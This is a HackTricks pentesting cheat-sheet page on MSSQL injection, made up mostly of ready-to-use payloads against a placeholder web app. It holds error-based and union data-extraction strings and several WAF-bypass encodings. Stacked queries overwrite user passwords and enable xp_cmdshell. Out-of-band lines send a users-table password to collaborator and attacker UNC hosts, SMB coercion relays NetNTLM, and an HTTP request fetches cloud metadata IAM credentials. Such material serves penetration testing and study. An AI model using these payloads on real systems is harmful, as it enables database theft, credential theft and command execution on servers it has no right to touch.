mssql-injection.md (16579B)
1 --- 2 title: "MSSQL Injection" 3 section: "Web Pentesting" 4 sectionSlug: "pentesting-web" 5 sourcePath: "src/pentesting-web/sql-injection/mssql-injection.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/sql-injection/mssql-injection.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # MSSQL Injection 14 15 ## Active Directory enumeration 16 17 It may be possible to **enumerate domain users via SQL injection inside a MSSQL** server using the following MSSQL functions: 18 19 - **`SELECT DEFAULT_DOMAIN()`**: Get current domain name. 20 - **`master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\Administrator'))`**: If you know the name of the domain (_DOMAIN_ in this example) this function will return the **SID of the user Administrator** in hex format. This will look like `0x01050000000[...]0000f401`, note how the **last 4 bytes** are the number **500** in **big endian** format, which is the **common ID of the user administrator**.\ 21 This function will allow you to **know the ID of the domain** (all the bytes except of the last 4). 22 - **`SUSER_SNAME(0x01050000000[...]0000e803)`** : This function will return the **username of the ID indicated** (if any), in this case **0000e803** in big endian == **1000** (usually this is the ID of the first regular user ID created). Then you can imagine that you can brute-force user IDs from 1000 to 2000 and probably get all the usernames of the users of the domain. For example using a function like the following one: 23 24 ```python 25 def get_sid(n): 26 domain = '0x0105000000000005150000001c00d1bcd181f1492bdfc236' 27 user = struct.pack('<I', int(n)) 28 user = user.hex() 29 return f"{domain}{user}" #if n=1000, get SID of the user with ID 1000 30 ``` 31 32 ## **Alternative Error-Based vectors** 33 34 Error-based SQL injections typically resemble constructions such as `+AND+1=@@version--` and variants based on the «OR» operator. Queries containing such expressions are usually blocked by WAFs. As a bypass, concatenate a string using the %2b character with the result of specific function calls that trigger a data type conversion error on sought-after data. 35 36 Some examples of such functions: 37 38 - `SUSER_NAME()` 39 - `USER_NAME()` 40 - `PERMISSIONS()` 41 - `DB_NAME()` 42 - `FILE_NAME()` 43 - `TYPE_NAME()` 44 - `COL_NAME()` 45 46 Example use of function `USER_NAME()`: 47 48 ```text 49 https://vuln.app/getItem?id=1'%2buser_name(@@version)-- 50 ``` 51 52  53 54 ## SSRF 55 56 These SSRF tricks [were taken from here](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)<sup>[[1]](#references)</sup> 57 58 ### `fn_xe_file_target_read_file` 59 60 It requires **`VIEW SERVER STATE`** on SQL Server 2019 and earlier. On SQL Server 2022+ the relevant permission is **`VIEW SERVER PERFORMANCE STATE`** (or **`VIEW DATABASE PERFORMANCE STATE`** in database-scoped scenarios). In Azure SQL Database / Managed Instance the function reads `https://` blob URLs rather than local/UNC paths, so the classic `\\attacker\...` OOB trick is mainly useful against on-prem SQL Server. 61 62 ```text 63 https://vuln.app/getItem?id= 1+and+exists(select+*+from+fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select+pass+from+users+where+id=1)%2b'.064edw6l0h153w39ricodvyzuq0ood.burpcollaborator.net\1.xem',null,null)) 64 ``` 65 66 ```sql 67 # Check if you have it 68 SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name IN ('VIEW SERVER STATE', 'VIEW SERVER PERFORMANCE STATE'); 69 SELECT * FROM fn_my_permissions(NULL, 'DATABASE') WHERE permission_name='VIEW DATABASE PERFORMANCE STATE'; 70 # Or doing 71 Use master; 72 EXEC sp_helprotect 'fn_xe_file_target_read_file'; 73 ``` 74 75 ### `fn_get_audit_file` 76 77 It requires the **`CONTROL SERVER`** permission on SQL Server 2019 and earlier. On SQL Server 2022+ **`VIEW SERVER SECURITY AUDIT`** is enough to read audit files. 78 79 ```text 80 https://vuln.app/getItem?id= 1%2b(select+1+where+exists(select+*+from+fn_get_audit_file('\\'%2b(select+pass+from+users+where+id=1)%2b'.x53bct5ize022t26qfblcsxwtnzhn6.burpcollaborator.net\',default,default))) 81 ``` 82 83 ```sql 84 # Check if you have it 85 SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name IN ('CONTROL SERVER', 'VIEW SERVER SECURITY AUDIT'); 86 # Or doing 87 Use master; 88 EXEC sp_helprotect 'fn_get_audit_file'; 89 ``` 90 91 ### `fn_trace_gettable` 92 93 It requires the **`CONTROL SERVER`** permission. 94 95 ```text 96 https://vuln.app/ getItem?id=1+and+exists(select+*+from+fn_trace_gettable('\\'%2b(select+pass+from+users+where+id=1)%2b'.ng71njg8a4bsdjdw15mbni8m4da6yv.burpcollaborator.net\1.trc',default)) 97 ``` 98 99 ```sql 100 # Check if you have it 101 SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER'; 102 # Or doing 103 Use master; 104 EXEC sp_helprotect 'fn_trace_gettable'; 105 ``` 106 107 ### `xp_dirtree`, `xp_fileexist`, `xp_subdirs` <a href="#limited-ssrf-using-master-xp-dirtree-and-other-file-stored-procedures" id="limited-ssrf-using-master-xp-dirtree-and-other-file-stored-procedures"></a> 108 109 Stored procedures like `xp_dirtree`, though not officially documented by Microsoft, have been described by others online due to their utility in network operations within MSSQL. These procedures are often used in Out of Band Data exfiltration, as showcased in various [examples](https://www.notsosecure.com/oob-exploitation-cheatsheet/) and [posts](https://gracefulsecurity.com/sql-injection-out-of-band-exploitation/). 110 111 The `xp_dirtree` stored procedure, for instance, is used to make network requests, but it's limited to only TCP port 445. The port number isn't modifiable, but it allows reading from network shares. The usage is demonstrated in the SQL script below: 112 113 ```sql 114 DECLARE @user varchar(100); 115 SELECT @user = (SELECT user); 116 EXEC ('master..xp_dirtree "\\' + @user + '.attacker-server\\aa"'); 117 ``` 118 119 It's noteworthy that this method might not work on all system configurations, such as on `Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64)` running on a `Windows Server 2016 Datacenter` with default settings. 120 121 Additionally, there are alternative stored procedures like `master..xp_fileexist` and `xp_subdirs` that can achieve similar outcomes. Further details on `xp_fileexist` can be found in this [TechNet article](https://social.technet.microsoft.com/wiki/contents/articles/40107.xp-fileexist-and-its-alternate.aspx). 122 123 ### `OPENROWSET(BULK...)` and `BULK INSERT` 124 125 If you have stacked queries and bulk permissions, `OPENROWSET(BULK...)` is very handy in SQLi because it can both **read local files** and **touch attacker-controlled UNC paths**. When the login uses SQL Server authentication, remote file access is performed with the **SQL Server service account** security context, so this can leak or relay the **NetNTLM** of the service account instead of only reading a file.<sup>[[3]](#references)</sup> 126 127 ```sql 128 -- Read a local file 129 SELECT * FROM OPENROWSET(BULK N'C:/Windows/win.ini', SINGLE_CLOB) AS x; 130 131 -- Error-based variant 132 https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:/Windows/win.ini',SINGLE_CLOB)+R(x))-- 133 134 -- SMB/UNC coercion 135 CREATE TABLE #TEXTFILE (column1 NVARCHAR(100)); 136 BULK INSERT #TEXTFILE FROM '\\attacker\share\file'; 137 DROP TABLE #TEXTFILE; 138 ``` 139 140 ```sql 141 # Check if you have it 142 SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTER BULK OPERATIONS'; 143 SELECT * FROM fn_my_permissions(NULL, 'DATABASE') WHERE permission_name='ADMINISTER DATABASE BULK OPERATIONS'; 144 SELECT IS_SRVROLEMEMBER('bulkadmin'); 145 ``` 146 147 On Azure SQL Database / Managed Instance the bulk providers are usually backed by **blob/URI** sources instead of on-prem UNC paths, so the SMB trick is mainly useful against classic SQL Server deployments. 148 149 On **legacy** targets, `BACKUP ... TO DISK='\\attacker\file'` and `RESTORE ... FROM DISK='\\attacker\file'` used to resolve the UNC path **before** authorization checks. MS16-136 killed that primitive on supported versions, so treat it mostly as an **old-build / SQL Server 2008-era** trick. 150 151 For a broader post-auth view of file reads and OS interaction, also check: 152 153 [Pentesting Mssql Microsoft Sql Server](/hacktricks/network-services-pentesting/pentesting-mssql-microsoft-sql-server/overview) 154 155 ### `sys.dm_os_enumerate_filesystem`, `sys.dm_os_file_exists` 156 157 If `xp_dirtree` / `xp_fileexist` have been revoked, recent research showed that DMFs such as `sys.dm_os_enumerate_filesystem` and `sys.dm_os_file_exists` can still **coerce SMB authentication** from the SQL Server service account and may even return filesystem metadata:<sup>[[4]](#references)</sup> 158 159 ```sql 160 SELECT * FROM sys.dm_os_enumerate_filesystem('\\attacker\share', '*'); 161 SELECT * FROM sys.dm_os_file_exists('\\attacker\share\file'); 162 ``` 163 164 If you get permission errors, test from the current context and enumerate state-style permissions first: 165 166 ```sql 167 SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name IN ('VIEW SERVER STATE', 'VIEW SERVER PERFORMANCE STATE'); 168 SELECT * FROM fn_my_permissions(NULL, 'DATABASE') WHERE permission_name IN ('VIEW DATABASE STATE', 'VIEW DATABASE PERFORMANCE STATE'); 169 ``` 170 171 ### `xp_cmdshell` <a href="#master-xp-cmdshell" id="master-xp-cmdshell"></a> 172 173 Obviously you could also use **`xp_cmdshell`** to **execute** something that triggers a **SSRF**. For more info **read the relevant section** in the page: 174 175 176 [Pentesting Mssql Microsoft Sql Server](/hacktricks/network-services-pentesting/pentesting-mssql-microsoft-sql-server/overview) 177 178 ### MSSQL User Defined Function - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a> 179 180 Creating a CLR UDF (Common Language Runtime User Defined Function), which is code authored in any .NET language and compiled into a DLL, to be loaded within MSSQL for executing custom functions, is a process that requires `dbo` access. This means it is usually feasible only when the database connection is made as `sa` or with an Administrator role. 181 182 A Visual Studio project and installation instructions are provided in [this Github repository](https://github.com/infiniteloopltd/SQLHttp) to facilitate the loading of the binary into MSSQL as a CLR assembly, thereby enabling the execution of HTTP GET requests from within MSSQL. 183 184 The core of this functionality is encapsulated in the `http.cs` file, which employs the `WebClient` class to execute a GET request and retrieve content as illustrated below: 185 186 ```csharp 187 using System.Data.SqlTypes; 188 using System.Net; 189 190 public partial class UserDefinedFunctions 191 { 192 [Microsoft.SqlServer.Server.SqlFunction] 193 public static SqlString http(SqlString url) 194 { 195 var wc = new WebClient(); 196 var html = wc.DownloadString(url.Value); 197 return new SqlString(html); 198 } 199 } 200 ``` 201 202 Before executing the `CREATE ASSEMBLY` SQL command, it is advised to run the following SQL snippet to add the SHA512 hash of the assembly to the server's list of trusted assemblies (viewable via `select * from sys.trusted_assemblies;`): 203 204 ```sql 205 EXEC sp_add_trusted_assembly 0x35acf108139cdb825538daee61f8b6b07c29d03678a4f6b0a5dae41a2198cf64cefdb1346c38b537480eba426e5f892e8c8c13397d4066d4325bf587d09d0937,N'HttpDb, version=0.0.0.0, culture=neutral, publickeytoken=null, processorarchitecture=msil'; 206 ``` 207 208 After successfully adding the assembly and creating the function, the following SQL code can be utilized to perform HTTP requests: 209 210 ```sql 211 DECLARE @url varchar(max); 212 SET @url = 'http://169.254.169.254/latest/meta-data/iam/security-credentials/s3fullaccess/'; 213 SELECT dbo.http(@url); 214 ``` 215 216 ### **Quick Exploitation: Retrieving Entire Table Contents in a Single Query** 217 218 [Trick from here](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/).<sup>[[1]](#references)</sup> 219 220 A concise method for extracting the full content of a table in a single query involves utilizing the `FOR JSON` clause. This approach is more succinct than using the `FOR XML` clause, which requires a specific mode like "raw". The `FOR JSON` clause is preferred for its brevity. 221 222 Here's how to retrieve the schema, tables, and columns from the current database: 223 224 ````sql 225 https://vuln.app/getItem?id=-1'+union+select+null,concat_ws(0x3a,table_schema,table_name,column_name),null+from+information_schema.columns+for+json+auto-- 226 In situations where error-based vectors are used, it's crucial to provide an alias or a name. This is because the output of expressions, if not provided with either, cannot be formatted as JSON. Here's an example of how this is done: 227 228 ```sql 229 https://vuln.app/getItem?id=1'+and+1=(select+concat_ws(0x3a,table_schema,table_name,column_name)a+from+information_schema.columns+for+json+auto)-- 230 ```` 231 232 ### Retrieving the Current Query 233 234 [Trick from here](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/).<sup>[[1]](#references)</sup> 235 236 For users granted the `VIEW SERVER STATE` permission on the server, it's possible to see all executing sessions on the SQL Server instance. However, without this permission, users can only view their current session. The currently executing SQL query can be retrieved by accessing sys.dm_exec_requests and sys.dm_exec_sql_text: 237 238 ```sql 239 https://vuln.app/getItem?id=-1%20union%20select%20null,(select+text+from+sys.dm_exec_requests+cross+apply+sys.dm_exec_sql_text(sql_handle)),null,null 240 ``` 241 242 To check if you have the VIEW SERVER STATE permission, the following query can be used: 243 244 ```sql 245 SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE'; 246 ``` 247 248 ## **Little tricks for WAF bypasses** 249 250 [Tricks also from here](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)<sup>[[1]](#references)</sup> 251 252 Non-standard whitespace characters: %C2%85 или %C2%A0: 253 254 ```text 255 https://vuln.app/getItem?id=1%C2%85union%C2%85select%C2%A0null,@@version,null-- 256 ``` 257 258 Scientific (0e) and hex (0x) notation for obfuscating UNION: 259 260 ```text 261 https://vuln.app/getItem?id=0eunion+select+null,@@version,null-- 262 263 https://vuln.app/getItem?id=0xunion+select+null,@@version,null-- 264 ``` 265 266 A period instead of a whitespace between FROM and a column name: 267 268 ```text 269 https://vuln.app/getItem?id=1+union+select+null,@@version,null+from.users-- 270 ``` 271 272 \N separator between SELECT and a throwaway column: 273 274 ```text 275 https://vuln.app/getItem?id=0xunion+select\Nnull,@@version,null+from+users-- 276 ``` 277 278 ### WAF Bypass with unorthodox stacked queries 279 280 According to [**this blog post**](https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/) it's possible to stack queries in MSSQL without using ";":<sup>[[2]](#references)</sup> 281 282 ```sql 283 SELECT 'a' SELECT 'b' 284 ``` 285 286 So for example, multiple queries such as: 287 288 ```sql 289 use [tempdb] 290 create table [test] ([id] int) 291 insert [test] values(1) 292 select [id] from [test] 293 drop table[test] 294 ``` 295 296 Can be reduced to: 297 298 ```sql 299 use[tempdb]create/**/table[test]([id]int)insert[test]values(1)select[id]from[test]drop/**/table[test] 300 ``` 301 302 Therefore it could be possible to bypass different WAFs that don't consider this form of stacked queries. For example: 303 304 ```text 305 # Adding a useless exec() at the end and making the WAF think this isn't a valid query 306 admina'union select 1,'admin','testtest123'exec('select 1')-- 307 ## This will be: 308 SELECT id, username, password FROM users WHERE username = 'admina'union select 1,'admin','testtest123' 309 exec('select 1')--' 310 311 # Using weirdly built queries 312 admin'exec('update[users]set[password]=''a''')-- 313 ## This will be: 314 SELECT id, username, password FROM users WHERE username = 'admin' 315 exec('update[users]set[password]=''a''')--' 316 317 # Or enabling xp_cmdshell 318 admin'exec('sp_configure''show advanced options'',''1''reconfigure')exec('sp_configure''xp_cmdshell'',''1''reconfigure')-- 319 ## This will be 320 select * from users where username = ' admin' 321 exec('sp_configure''show advanced options'',''1''reconfigure') 322 exec('sp_configure''xp_cmdshell'',''1''reconfigure')-- 323 ``` 324 325 326 ## References 327 328 - [1] [Advanced MSSQL Injection Tricks](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/) 329 - [2] [AWS WAF Clients Left Vulnerable to SQL Injection Due to Unorthodox MSSQL Design Choice](https://gosecure.ai/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/) 330 - [3] [SQL Server - UNC Path Injection Cheat Sheet](https://github.com/NetSPI/PowerUpSQL/wiki/SQL-Server---UNC-Path-Injection-Cheat-Sheet) 331 - [4] [Where There Is MSSQL, There Is A Way](https://labs.reversec.com/posts/2026/05/where-there-is-mssql-there-is-a-way)